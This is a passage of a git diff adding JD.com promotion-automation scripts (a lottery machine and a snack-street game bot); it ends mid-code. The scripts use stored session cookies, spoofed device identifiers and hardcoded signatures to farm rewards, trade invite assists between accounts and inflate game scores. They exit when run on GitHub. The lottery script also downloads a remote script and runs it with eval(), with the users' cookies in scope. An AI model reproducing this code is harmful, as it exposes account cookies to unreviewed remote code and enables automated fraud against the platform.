Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lotteryMachine.js b/backUp/jd_lotteryMachine.js new file mode 100644 index 0000000..ebcb5c9 --- /dev/null +++ b/backUp/jd_lotteryMachine.js @@ -0,0 +1,274 @@ +/* +京东抽奖机 https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js +author:yangtingxiao +github: https://github.com/yangtingxiao +活动入口:京东APP中各种抽奖活动的汇总 + +修改自用 By xxx +更新时间:2021-05-25 8:50 + */ +const $ = new Env('京东抽奖机&内部互助'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) +}) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); + +const appIdArr = ['1EFRRxA','1EFRQwA','1EFRXxg','1EFVRxg','1E1xVyqw'] +const homeDataFunPrefixArr = ['interact_template','interact_template','harmony_template','','','','','','','','','','interact_template','interact_template'] +const collectScoreFunPrefixArr = ['','','','','','','','','','','','','interact_template','interact_template'] + +$.allShareId = {}; +main(); +async function main() { + await help();//先账号内部互助 + await updateShareCodes(); + if (!$.body) await updateShareCodesCDN(); + if ($.body) { + eval($.body); + } + $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js`}).then((resp) => { + if (resp.statusCode === 200) { + let { body } = resp; + body = JSON.parse(body); + if (body['success']) { + console.log(`jd_lotteryMachine.js文件 CDN刷新成功`) + } else { + console.log(`jd_lotteryMachine.js文件 CDN刷新失败`) + } + } + }).catch((err) => console.log(`更新jd_lotteryMachine.js文件 CDN异常`, err)); +} +async function help() { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log(`\n\n当前共有${appIdArr.length}个抽奖机活动\n\n`); + for (let j in appIdArr) { + $.invites = []; + $.appId = appIdArr[j]; + $.appIndex = parseInt(j) + 1; + homeDataFunPrefix = homeDataFunPrefixArr[j] || 'healthyDay'; + console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】`) + console.log(`functionId:${homeDataFunPrefix}_getHomeData`); + $.acHelpFlag = true;//该活动是否需要助力,true需要,false 不需要 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n***************开始京东账号${i + 1} ${$.UserName}***************`) + await interact_template_getHomeData(); + } + if (i === 0 && !$.acHelpFlag) { + console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】,不需要助力`); + break; + } + } + if ($.invites.length > 0) { + $.allShareId[appIdArr[j]] = $.invites; + } + } + // console.log('$.allShareId', JSON.stringify($.allShareId)) + if (!cookiesArr || cookiesArr.length < 2) return + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + for (let oneAppId in $.allShareId) { + let oneAcHelpList = $.allShareId[oneAppId]; + for (let j = 0; j < oneAcHelpList.length; j++) { + $.item = oneAcHelpList[j]; + if ($.UserName === $.item['userName']) continue; + if (!$.item['taskToken'] && !$.item['taskId'] || $.item['max']) continue + console.log(`账号${i + 1} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个抽奖活动【${$.item['appId']}】,邀请码 【${$.item['taskToken']}】`) + $.canHelp = true; + collectScoreFunPrefix = collectScoreFunPrefixArr[$.item['index'] - 1] || 'harmony' + await harmony_collectScore(); + if (!$.canHelp) { + // console.log(`跳出`); + break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了 + } + } + } + } +} +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body: `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${$.appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + + $.post(url, async (err, resp, data) => { + try { + let invitesFlag = false; + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data && data.data.bizCode === 0) { + for (let item of data.data.result.taskVos) { + if ([14, 6].includes(item.taskType)) { + console.log(`邀请码:${item.assistTaskDetailVo.taskToken}`) + console.log(`邀请好友助力:${item.times}/${item['maxTimes']}\n`); + if (item.assistTaskDetailVo.taskToken && item.taskId && item.times !== item['maxTimes']) { + $.invites.push({ + taskToken: item.assistTaskDetailVo.taskToken, + taskId: item.taskId, + userName: $.UserName, + appId: $.appId, + index: $.appIndex, + max: false + }) + } + invitesFlag = true;//该活动存在助力码 + } + } + if (!invitesFlag) { + $.acHelpFlag = false; + } + } else { + console.log(`获取抽奖活动数据失败:${data.data.bizMsg}`); + $.invites.push({ + taskToken: null, + taskId: null, + userName: $.UserName, + appId: $.appId, + index: $.appIndex + }) + } + } else { + console.log(`获取抽奖活动数据异常:${JSON.stringify(data)}`) + $.invites.push({ + taskToken: null, + taskId: null, + userName: $.UserName, + appId: $.appId, + index: $.appIndex + }) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(timeout = 0) { + // console.log(`助力 ${taskToken}`) + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": `https://h5.m.jd.com/babelDiy/Zeus/ahMDcVkuPyTd2zSBmWC11aMvb51/index.html?inviteId=${$.item['taskToken']}`, + "User-Agent": "jdapp;iPhone;9.4.6;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/B28DA848-0DA0-4AAA-AE7E-A6F55695C590;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + }, + body: `functionId=${collectScoreFunPrefix}_collectScore&body={"appId": "${$.appId}","taskToken":"${$.item['taskToken']}","taskId":${$.item['taskId']},"actionType": 0}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + console.log(`助力结果:${data.data.bizMsg}🎉\n`); + } else { + if (data['data']['bizCode'] === 108) $.canHelp = false; + if (data['data']['bizCode'] === 103) $.item['max'] = true; + console.log(`助力失败:${data.data.bizMsg}\n`); + } + } else { + console.log(`助力异常:${JSON.stringify(data)}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js') { + return new Promise(resolve => { + const options = { + url: `${url}?${Date.now()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`请求访问 【raw.githubusercontent.com】 的jd_lotteryMachine.js文件失败:${JSON.stringify(err)}\n\n下面使用 【cdn.jsdelivr.net】请求访问jd_lotteryMachine.js文件`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js') { + return new Promise(async resolve => { + $.get({url: `${url}?${Date.now()}`, timeout: 10000}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(3000) + resolve(); + }) +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lsj.js b/backUp/jd_lsj.js new file mode 100644 index 0000000..2955f22 --- /dev/null +++ b/backUp/jd_lsj.js @@ -0,0 +1,629 @@ +/* +#京东零食街 + +后续添加自动兑换功能 如入会失败 自行去入会 +入口 京东 频道 美食馆 +零食街自动兑换变量 +export lsjdh="jdAward1" ##兑换5豆 +export lsjdh="jdAward2" ##兑换10豆 +export lsjdh="jdAward3" ##兑换100豆 +export lsjdh="jdAward4" ##兑换牛奶 +[task_local] +0 11 * * * jd_lsj.js +*/ +const $ = new Env('柠檬京东零食街'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let useInfo = {}; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let newShareCodes = []; +let lsjdh = ''; +if (process.env.lsjdh) { + lsjdh = process.env.lsjdh; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await star() + + } + } + console.log(`\n开始账号内互助\n`); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if(!useInfo[$.UserName]) continue; + $.canHelp = true; + for (let j = 0; j < newShareCodes.length && $.canHelp; j++) { + $.oneCodeInfo = newShareCodes[j]; + if($.UserName === newShareCodes[j].usr || $.oneCodeInfo.max){ + continue; + } + console.log(`${$.UserName}去助力${newShareCodes[j].usr}`) + nick = useInfo[$.UserName]; + await dohelp(newShareCodes[j].code); + await $.wait(3000) + } + } + + + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function star() { +await gettoken() + +$.log("开始领取首页水滴") +await dotree(1) +await $.wait(3000) +await dotree(2) +await $.wait(3000) +await dotree(3) +await $.wait(3000) +$.log("开始浏览会场") +await doliulan(1) +await $.wait(3000) +await doliulan(2) +await $.wait(3000) +await doliulan(3) +//await gettask() + +$.log("开始浏览会场") +await doshop(1000014803) +await $.wait(3000) +await doshop(10299171) +await $.wait(3000) +await doshop(1000077335) +await $.wait(3000) +await doshop(1000008814) +await $.wait(3000) +await doshop(1000101562) +$.log("开始浏览推荐食品商品") +await doGoods(1) +await $.wait(3000) +await doGoods(2) +await $.wait(3000) +await doGoods(3) +await $.wait(3000) +await doGoods(4) +$.log("开始加购商品") +await doadd(1) +await $.wait(3000) +await doadd(2) +await $.wait(3000) +await doadd(3) +await $.wait(3000) +await doadd(4) +$.log("开始游戏刷分") +await playgame() +$.log("开始兑换") +await duihuan() +} + +function gettoken() { + return new Promise(async (resolve) => { + let options = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e41523&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt%2FpM7ENipVIQXuRiDyQ0FYw2aud9%20AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJs2X%2FHz8dwQrKfrmFvPGJYcIhgT3KrbJ2slvZoaufp78QzL4RqQVUgaKH%2Fq7EntlwV7J5l6acE2Wlj2%2Bu6Thwe90cWmtV80fH0yhpOV%2FhYIwvD5N6W1zo3LCVXTcuOw%2BARC%2F6K3bndzn3KzMw%2FpkYzhE2JcXeXiD44r%2BkUMawpn%2Bk7XqSVytdBg%3D%3D&uemps=0-0&st=1624988916642&sign=6a25b389996897b263c70516fc3c71e1&sv=122`, + body: `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Fpaoku%2Findex.html%3Fsid%3D75b413510cb227103e928769818a74ew%26un_area%3D4_48201_54794_0%22%7D&`, + headers: { + "Host": "api.m.jd.com", + "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.0.4;build/88641;screen/1080x2208;os/10;network/4g;", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if(reust.errcode == 0){ + token = reust.token + $.log(token) + await getnick() + }else { + + $.log(data) + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getnick() { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com//dm/front/foodRunning/setMixNick?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"ae549c4ddea76787995f262fcedf9fcf","timestamp":1624988916869,"userId":"10299171"},"admJson":{"source":"01","strTMMixNick":"${token}","method":"/foodRunning/setMixNick","actId":"jd_food_running","buyerNick":"","pushWay":1,"userId":"10299171"}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "Sec-Fetch-Site": "same-origin", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;android;10.0.4;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/88641;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + nick = reust.data.data.msg + $.log("邀请码: "+nick) + useInfo[$.UserName] = nick; + newShareCodes.push({'usr':$.UserName, 'code':nick, 'max':false}); + }else if(reust.errorCode == 500) { + + $.log(reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doshop(goodsNumId) { + return new Promise(async (resolve) => { +let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewShop","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, +headers: { +"Origin": "https://jinggengjcq-isv.isvjcloud.com", +"Content-Type": "application/json; charset=UTF-8", +"X-Requested-With": "XMLHttpRequest", +"Host": "jinggengjcq-isv.isvjcloud.com", +"Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", +"User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +}} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + }else if(reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doliulan(goodsNumId) { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewBanner","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + }else if(reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function doGoods(goodsNumId) { + return new Promise(async (resolve) => { + let options = { + url: 